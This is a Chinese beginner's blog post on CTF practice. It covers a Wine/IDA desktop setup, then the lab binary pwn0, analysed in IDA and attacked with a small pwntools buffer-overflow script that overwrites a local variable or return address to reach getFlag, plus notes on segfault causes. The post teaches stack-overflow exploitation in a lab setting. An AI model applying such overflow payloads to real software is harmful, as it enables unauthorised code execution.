为了账号安全,请及时绑定邮箱和手机立即绑定

从ctf-all-in-one开始学习ctf之第四天:ctf基础加入门题

标签:
Docker

ubuntu16.04 添加wine 桌面图标

1。sudo apt-get install gnome-panel

2。sudo gnome-desktop-item-edit /usr/share/applications/ --create-new

3。在命令处输入 类似的 wine "/home/yzl/.wine/drive_c/Program Files/ida/ida.exe"。

4。进入/usr/share/applications,找到添加的图标,右键复制到桌面。

 

 

ctf第一个小实验

参考 :https://github.com/Hcamael/docker_lib/tree/master/pwn

实验代码 pwn0

binwalk pwn0 :

DECIMAL       HEXADECIMAL     DESCRIPTION
--------------------------------------------------------------------------------
0             0x0             ELF, 32-bit LSB executable, Intel 80386, version 1 (SYSV)
1746          0x6D2           Unix path: /home/pwn/pwn0/flag
 

打开idapro 32位,将pwn0拖入,可以看到三个函数,main foo 和getFlag

https://img1.sycdn.imooc.com//5b5bedd8000101a719201080.jpg

在main中a1被赋予12345678H,而在foo中判断a1是否等于61616161H,等于才会执行getFlag函数,也就是说正常情况下,永远得不到flag。

逆向解决思路:修改判断,执行getFlag函数,得到flag。方法较多,可以将判断条件反置,也可以将a1值修改,或者修改61616161H等。但在实际情况中却不成功,总会出现段错误(核心已转移),原因和解决方法未知。

pwn思路:覆盖ret值,将其改为getFlag返回地址0x0804855B,输入s的长度为1c。

或者由于a1是与61616161H做比较,可以疯狂传入a,覆盖原来的a值,但最后还是报错段错误(核心已转移)的错误

注入脚本如下:

#!/usr/bin/env python
#-*- coding:utf-8 -*-
 
from pwn import *
from socket import *
from commands import *
 
#conn = remote('127.0.0.1', 32772)
conn = process("./pwn0")
pwn_elf = ELF('pwn0')
print conn.recvline()
payload = (32+4+4) * 'a'           # 0x1c长度的buf + 4 byte的ebp

conn.sendline(payload)
print conn.recv()
print conn.recv()

但执行报错,原因不明,正在调试。

 

段错误(核心已转移)的原因如下:

1、访问不存在的内存地址

2、访问系统保护的内存地址 

3、访问只读的内存地址

4、空指针废弃

5、堆栈溢出

6、内存越界(数组越界,变量类型不一致等)

可以通过dmesg命令获取断错误信息,或者gcc调试时加入-g指令,或者使用catchsegv

本程序通过ida单步进入调试,发现本机文件路径错误(没开docker,直接用的本地的pwn。),纠正之后,成功。

原文出处:https://blog.csdn.net/vaing_lory/article/details/81223349

点击查看更多内容
TA 点赞

若觉得本文不错,就分享一下吧!

评论

作者其他优质文章

正在加载中
  • 推荐
  • 1
  • 收藏
  • 共同学习,写下你的评论
感谢您的支持,我会继续努力的~
扫码打赏,你说多少就多少
赞赏金额会直接到老师账户
支付方式
打开微信扫一扫,即可进行扫码打赏哦
今天注册有机会得

100积分直接送

付费专栏免费学

大额优惠券免费领

立即参与 放弃机会
意见反馈 帮助中心 APP下载
官方微信

举报

0/150
提交
取消